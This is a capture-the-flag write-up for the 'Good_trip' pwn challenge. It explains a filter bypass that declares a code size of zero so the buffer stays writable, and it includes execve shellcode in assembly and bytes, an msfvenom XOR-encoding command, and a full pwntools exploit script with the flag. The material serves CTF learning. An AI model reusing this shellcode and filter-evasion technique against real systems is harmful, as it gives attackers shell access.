Good_trip (pwn)

if you think about it? it doesn't make any sense. GOOOOD TRIP

Similar to the warmup challenge, I built an ran the Dockerfile to obtain the libc.so.6 and ld-linux-x86-64.so.2 binaries.

Decompiling the program, we see the following in the main function:

undefined8 main(EVP_PKEY_CTX *param_1)
{
  char cVar1;
  int local_14;
  void *local_10;
  
  local_14 = 0;
  init(param_1);
  local_10 = mmap((void *)0x1337131369,0x1000,7,0x22,-1,0);
  printf("code size >> ");
  __isoc99_scanf(&DAT_00402027,&local_14);
  if ((-1 < local_14) && (local_14 < 4097)) {
    printf("code >> ");
    read(0,local_10,2457);
    mprotect(local_10,(long)local_14,5);
    cVar1 = filter(local_10);
    if (cVar1 != '\0') {
      puts("nop, not happening.");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    exec(local_10);
  }
  return 0;
}

The code creates a virtual memory of size 0x1000 at a fixed virtual address of 0x1337131369. It then prompts us for the code size and accepts an integer. This input is checked to ensure that it is between 0 and 4096. We are then prompted by the code, and allowed to enter 2457 bytes. Then, mprotect is called to change the first local_14 bytes of our bytecode from RWX permission to RX permission. Then, our bytecode undergoes a check using filter. If it is deemed as safe, then our code gets executed.

Let's see what's going on in filter:

undefined8 filter(long param_1)
{
  int iVar1;
  undefined *local_28 [3];
  int local_10;
  int local_c;
  
  local_c = -1;
  local_28[0] = &DAT_00402010; // 0f 05 00 (syscall)
  local_28[1] = &DAT_00402013; // 0f 34 00 (sysenter)
  local_28[2] = &DAT_00402016; // cd 80 00 (int 0x80)
  do {
    local_c = local_c + 1;
    if (4093 < local_c) {
      return 0;
    }
    local_10 = -1;
    while( true ) {
      local_10 = local_10 + 1;
      if (2 < local_10) break;
      iVar1 = memcmp(local_28[local_10],(void *)(local_c + param_1),2);
      if (iVar1 == 0) {
        return 1;
      }
    }
  } while( true );
}

filter iterates through all the bytes in our bytecode to ensure that we do not have any syscall, sysenter or int 0x80 instructions.

The key observation to make is that the number of bytes which change from RWX to RX permission depends on the size of the code we gave as our first input. If we lied that we had 0 bytes of code, then all our bytecode would retain their RWX permissions. So the solution is to enter 0 as our first input. For our second input, we can encode shellcode and add a decoding stub.

I used the following execve shellcode:

    mov rsp, 0x1337131800	
    xor 	rsi,	rsi			
    push	rsi				
    mov 	rdi,	0x68732f2f6e69622f	 
    push	rdi
    push	rsp		
    pop	rdi				
    mov 	rax, 59
    xor rdx, rdx					
    syscall

Using Python, I saved the bytecode into shellcode.bin:

shellcode = b"\x48\xBC\x00\x18\x13\x37\x13\x00\x00\x00\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x48\x31\xD2\x0F\x05"
with open("shellcode.bin", "wb") as f:
    f.write(shellcode)

I then encoded this payload using the msfvenom x64/xor encoder using the following command: msfvenom -a x64 --platform linux -e x64/xor -f c < shellcode.bin

With the encoded payload, we can then make a solve script to send it. As we don't use libc for this challenge, I didn't include it in the script.

from pwn import *
# fill in binary name
elf = context.binary = ELF("./good_trip")
# fill in libc name
# libc = ELF("./libc.so.6")

if args.REMOTE:
  # fill in remote address
  p = remote("172.210.129.230", 1351)
else:
  # p = elf.process(env = {"LD_PRELOAD": libc.path})
  p = elf.process()

# create exploit here
p.sendlineafter(b"size >> ", b"0")
payload = b"\x48\x31\xc9\x48\x81\xe9\xfb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x63\xf1\xde\xe5\xa7\xa1\x9a\x8a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2b\x4d\xde\xfd\xb4\x96\x89\x8a\x63\xf1\x96\xd4\x51\xf7\xd2\x35\x4c\x93\xb7\x8b\x88\x8e\xe9\xe2\x34\xa5\x81\xad\x60\x61\xa1\x8a\x63\xf1\x96\xd4\x75\xae\x9f\x8a"
# pause()
p.sendlineafter(b"code >> ", payload)
p.interactive()
# AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}

Last updated